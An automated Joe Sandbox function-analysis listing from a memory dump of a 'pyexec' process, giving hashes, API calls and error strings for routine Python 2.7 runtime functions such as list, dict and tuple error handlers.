Opcode ID: 976b6bdf205e49f9dda769865fd71617fa8c0590ad46dceefb7f7ea4d8cd7fb5
Instruction ID: f9d58f315fdb1cb634d5788150bbda154eb6808458751547bef99cc398b4b293
Opcode Fuzzy Hash: 976b6bdf205e49f9dda769865fd71617fa8c0590ad46dceefb7f7ea4d8cd7fb5
Instruction Fuzzy Hash: 9FF0E5716002044BDB009AF2AC8199673AC5B5132CF198667FC0CCBE80E735E862C2D1

Function 6C0B9560 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

PyFloat_AsDouble.PYTHON27(?), ref: 6C0B9568

Part of subcall function 6C150B70: PyType_IsSubtype.PYTHON27(04C48318,?,?,00000000,?,6C140CAA,?,?,?,?), ref: 6C150B90

PyErr_SetString.PYTHON27(00000000,required argument is not a float), ref: 6C0B959B

Strings

required argument is not a float, xrefs: 6C0B9595

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DoubleErr_Float_StringSubtypeType_
String ID: required argument is not a float
API String ID: 4162100309-2628405891
Opcode ID: 7096ea9aa99d197847cab5b6a99cb7c6f691ef9533d31fbe672c0127710eea33
Instruction ID: 60ea8a29c7fa4ee62d81a7d91896987b602631f7a3ed70e695373d299c86657e
Opcode Fuzzy Hash: 7096ea9aa99d197847cab5b6a99cb7c6f691ef9533d31fbe672c0127710eea33
Instruction Fuzzy Hash: 02F05E74A10108EBCB04CF98EA84B5937B9EB46328F608798E918577C0D7339A20DB45

Function 6C15A400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000002CB), ref: 6C15A42B

Strings

%s:%d: bad argument to internal function, xrefs: 6C15A425
..\Objects\listobject.c, xrefs: 6C15A420

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c
API String ID: 376477240-2051030382
Opcode ID: 9ef046257d5c219e31820de33d0b7b8ed0ac920a0c0aec6ec778b3d7b34a285b
Instruction ID: 2c687abb780bf80cbc3151fc7e96d2b2d43b65af6b549b1c2d283ff8d7378eba
Opcode Fuzzy Hash: 9ef046257d5c219e31820de33d0b7b8ed0ac920a0c0aec6ec778b3d7b34a285b
Instruction Fuzzy Hash: A1F0ECB5B402086BD700DEA4DD46D7A3369DB45328F44878DBC3C4B7C1DA31D9219BE1

Function 6C178760 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,000001AA,?,6C0A7AC3,?,00000001,7FFFFFFF), ref: 6C1787A4

Strings

..\Objects\tupleobject.c, xrefs: 6C178799
%s:%d: bad argument to internal function, xrefs: 6C17879E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c
API String ID: 376477240-1285866127
Opcode ID: 295419e0566465c1b4fa4ecf048a9b8d9e7f86d4f108b5c32c35983d039d8ac8
Instruction ID: 41b52c221d3173ccd8d1d342fd28d8361677fd4add83a08dbba4c9f50f5454a1
Opcode Fuzzy Hash: 295419e0566465c1b4fa4ecf048a9b8d9e7f86d4f108b5c32c35983d039d8ac8
Instruction Fuzzy Hash: BFE0E5B57002082FE720DE94DC46FA63358EB95718F048649BC2C9B6C0EB36E821D7E2

Function 6C1550D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(__builtins__), ref: 6C1550D9
PyString_InternInPlace.PYTHON27(?), ref: 6C1550FE

Strings

__builtins__, xrefs: 6C1550D4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$FromInternPlaceString
String ID: __builtins__
API String ID: 2843024944-2109793290
Opcode ID: a224339bb9d5d38a526d301157e552015fad82b8b22102188385cf22258b3d94
Instruction ID: 38a6704e608181f2528b4bd6574c2ed8ef9d9a1d6889a3d7b0f28f2a0d7be244
Opcode Fuzzy Hash: a224339bb9d5d38a526d301157e552015fad82b8b22102188385cf22258b3d94
Instruction Fuzzy Hash: 87E01BF1F052099BAF04CB7AAD5269A76FCDB09114B04017EEC0DC3B00FA21DA245695

Function 6C0B6090 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

PyDict_Size.PYTHON27 ref: 6C0B6098
PyErr_Format.PYTHON27(6C2E48B0,%s() takes at most %d positional arguments (%zd given),?,?,?), ref: 6C0B60C8

Strings

%s() takes at most %d positional arguments (%zd given), xrefs: 6C0B60C2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_Err_FormatSize
String ID: %s() takes at most %d positional arguments (%zd given)
API String ID: 20579995-2187905400
Opcode ID: 0cf18617955ab972adb7578fa12f0d43cb790389fd1b5cdafd21ffb16f938ff8
Instruction ID: 0dffa8238e700f9bd7ad1d52dc31d81e9f8efb2c071b59990a47208074ccde03
Opcode Fuzzy Hash: 0cf18617955ab972adb7578fa12f0d43cb790389fd1b5cdafd21ffb16f938ff8
Instruction Fuzzy Hash: E5E012F57102086BEE04D6B5EC54E6B33DCAB5525CB048464BC0DD7B41E937E855C591

Function 6C0A7520 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

PyDict_GetItem.PYTHON27(00000000,?), ref: 6C0A752F
PyErr_Format.PYTHON27(00000000,unknown dialect), ref: 6C0A7553

Strings

unknown dialect, xrefs: 6C0A754D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_Err_FormatItem
String ID: unknown dialect
API String ID: 3923838959-3850176341
Opcode ID: a068853fc7ae981aeed044c331c203e9d0f083f1cf442f5272549930462826f2
Instruction ID: d32255d9dd8c0ec23459214f846ae7d51b8ca148922f5b3ce978fc3056b2f0a9
Opcode Fuzzy Hash: a068853fc7ae981aeed044c331c203e9d0f083f1cf442f5272549930462826f2
Instruction Fuzzy Hash: 9CE09272B001149BCA148AD8A8409D673ECE7056A9B088125F90C87F01E635DC4087D0

Function 6C159E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000001F0), ref: 6C159E9B

Strings

%s:%d: bad argument to internal function, xrefs: 6C159E95
..\Objects\listobject.c, xrefs: 6C159E90

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c
API String ID: 376477240-2051030382
Opcode ID: 341d34c8dfd061c3975e124d7a12946edd67019c75d14d1adf60b14aa9a6f447
Instruction ID: 7c2dfde879122512f7b20ac606d174d40969257c79bbe33524f836a628dc85c4
Opcode Fuzzy Hash: 341d34c8dfd061c3975e124d7a12946edd67019c75d14d1adf60b14aa9a6f447
Instruction Fuzzy Hash: BBE065F5B402086BD700DE94DD46E6A3369D785718F048799BC2C4B781EA31E92196D1

Function 6C1597C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,00000122), ref: 6C1597FF

Part of subcall function 6C159770: PyErr_SetString.PYTHON27(6C2E63F8,cannot add more objects to list,00000000,00000000,?,6C15A6DB,00000000), ref: 6C15978D

Strings

%s:%d: bad argument to internal function, xrefs: 6C1597F9
..\Objects\listobject.c, xrefs: 6C1597F4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatString
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c
API String ID: 4212644371-2051030382
Opcode ID: 958b5112ecdc2bdd91cc288ca114782633b68a325364913933973176bdeb76c1
Instruction ID: 932bd41fdf266dc7a0d3436ee0840ce20814d0c514ea908661fa4ec05870607d
Opcode Fuzzy Hash: 958b5112ecdc2bdd91cc288ca114782633b68a325364913933973176bdeb76c1
Instruction Fuzzy Hash: B1E02BF57012086BDA14CF74AC42E6933159B01328F50478DBC3C0BBC1DA21D531DAC2

Function 6C159720 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,00000103), ref: 6C15974B

Strings

%s:%d: bad argument to internal function, xrefs: 6C159745
..\Objects\listobject.c, xrefs: 6C159740

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c
API String ID: 376477240-2051030382
Opcode ID: 0a462ffb861aa7e364b61ed03d2c1ea1c777629464beb49952931ad7550fb677
Instruction ID: abc7f8ea97e36e85d4da892ff302a1318fdbfe2f1ef597603593a5ffafc0c66a
Opcode Fuzzy Hash: 0a462ffb861aa7e364b61ed03d2c1ea1c777629464beb49952931ad7550fb677
Instruction Fuzzy Hash: 18E065F5A002486BD610DE64DC55D5933559746328F044789FC3C4B7C1EA22D5659AD2

Function 6C1467C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006E7), ref: 6C1467FC

Part of subcall function 6C145BA0: PyList_New.PYTHON27(?,?,?,?,6C1467DF,?), ref: 6C145BAC
Part of subcall function 6C145BA0: PyList_New.PYTHON27(?), ref: 6C145BD2

Strings

..\Objects\dictobject.c, xrefs: 6C1467F1
%s:%d: bad argument to internal function, xrefs: 6C1467F6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: List_$Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
API String ID: 817396481-1541589624
Opcode ID: 80c5fb926f2a78b61dff63bd51b8746e725b71a8f744952c833ffcd767c13337
Instruction ID: 45eca2985a9f94c90945bb9c90301f78285f0079de8d892077a6506a0ce94c8d
Opcode Fuzzy Hash: 80c5fb926f2a78b61dff63bd51b8746e725b71a8f744952c833ffcd767c13337
Instruction Fuzzy Hash: 86E06FA4B0420C17E610EFA09D82F6A3348870422CF008688BC2CCBA81FA22D820DAC2

Function 6C146810 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006F1), ref: 6C14684C

Part of subcall function 6C145C20: PyList_New.PYTHON27(?,?,?,?,6C14682F,?), ref: 6C145C2C
Part of subcall function 6C145C20: PyList_New.PYTHON27(?), ref: 6C145C52

Strings

..\Objects\dictobject.c, xrefs: 6C146841
%s:%d: bad argument to internal function, xrefs: 6C146846

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: List_$Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
API String ID: 817396481-1541589624
Opcode ID: 5c702d9e91d1fa4742148e625ed5c97e719d3083c9e97cb363370335fc4a8bac
Instruction ID: 923c1b317a618eda094c1f76240199a0f469660a35553812fbed107574fb0d02
Opcode Fuzzy Hash: 5c702d9e91d1fa4742148e625ed5c97e719d3083c9e97cb363370335fc4a8bac
Instruction Fuzzy Hash: 3AE0D8B1F0020817D620DBA45D86F663759875568CF0486A9BC1CDBA81FA62D471D6C1

Function 6C146860 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006FB), ref: 6C14689C

Part of subcall function 6C145CA0: PyList_New.PYTHON27(?), ref: 6C145CB7
Part of subcall function 6C145CA0: Py_FatalError.PYTHON27(GC object already tracked), ref: 6C145D5A
Part of subcall function 6C145CA0: PyList_New.PYTHON27(?), ref: 6C145DC3

Strings

..\Objects\dictobject.c, xrefs: 6C146891
%s:%d: bad argument to internal function, xrefs: 6C146896

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: List_$Err_ErrorFatalFormat
String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
API String ID: 2187311682-1541589624
Opcode ID: 87d1dfd488f0d6b0a6fc754cae843e3562ebe899a01e971599e88152a719c679
Instruction ID: 037bd04507ff07b12496771d3402ba283feea70dbb628daeaf02dfcc7e2255cd
Opcode Fuzzy Hash: 87d1dfd488f0d6b0a6fc754cae843e3562ebe899a01e971599e88152a719c679
Instruction Fuzzy Hash: 51E0D8B1F0120817E610DEA4AD46F663758875565CF048B99BC1CD7A81FA22D471D6C1

Function 6C187920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

PyUnicodeUCS2_FromUnicode.PYTHON27(0C508BF8,4D8BE774), ref: 6C187946

Strings

strict, xrefs: 6C187950

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Unicode$From
String ID: strict
API String ID: 3080050696-2947452218
Opcode ID: 26c88ebf51c280bce14bf4b421d2034b6deaebaab830f40e087b036e42caacb8
Instruction ID: 812b15b6f0eb2359c59365a0a3c8803c238f966009906841f2c3565b09cd8d24
Opcode Fuzzy Hash: 26c88ebf51c280bce14bf4b421d2034b6deaebaab830f40e087b036e42caacb8
Instruction Fuzzy Hash: E0E02675A05308AFDA00CB54F849F66736D9B8423CF148089F80D0FB62D335F854DAC0

Function 6C1396C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\cellobject.c,00000018), ref: 6C1396E4

Strings

%s:%d: bad argument to internal function, xrefs: 6C1396DE
..\Objects\cellobject.c, xrefs: 6C1396D9

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\cellobject.c
API String ID: 376477240-3279096532
Opcode ID: 4971d7ffdfb9e84dee76a66307a63bcce7f3c20162597c5f9d622d7e720ad5cc
Instruction ID: 779607f4dedd659a80a512c159d54c00d016d9115a03d90b2361d25dde24414b
Opcode Fuzzy Hash: 4971d7ffdfb9e84dee76a66307a63bcce7f3c20162597c5f9d622d7e720ad5cc
Instruction Fuzzy Hash: B5E0927560110C9BC300D948D896B607364E70A31DF5486CDFC2D9BA92EF339897CBC1

Function 6C146770 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006DD,?,6C13AC0A,?), ref: 6C1467A6

Strings

..\Objects\dictobject.c, xrefs: 6C14679B
%s:%d: bad argument to internal function, xrefs: 6C1467A0

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
API String ID: 376477240-1541589624
Opcode ID: eb7b41c09d42d834440f9d84c7d05b2ca16f45ad3e4b9debe22b0590eb3c76bd
Instruction ID: d6b6f2e5966e25f1fdd77882cebeac73c8b2d75b0ff98962b8c7990792d4831b
Opcode Fuzzy Hash: eb7b41c09d42d834440f9d84c7d05b2ca16f45ad3e4b9debe22b0590eb3c76bd
Instruction Fuzzy Hash: 66E0D83471010817E210DFA48C81F657795C745778F14878D7C3C9BAC1DA21E420DAC1

Function 6C0A5850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

PyDict_GetItem.PYTHON27(00000000), ref: 6C0A5859
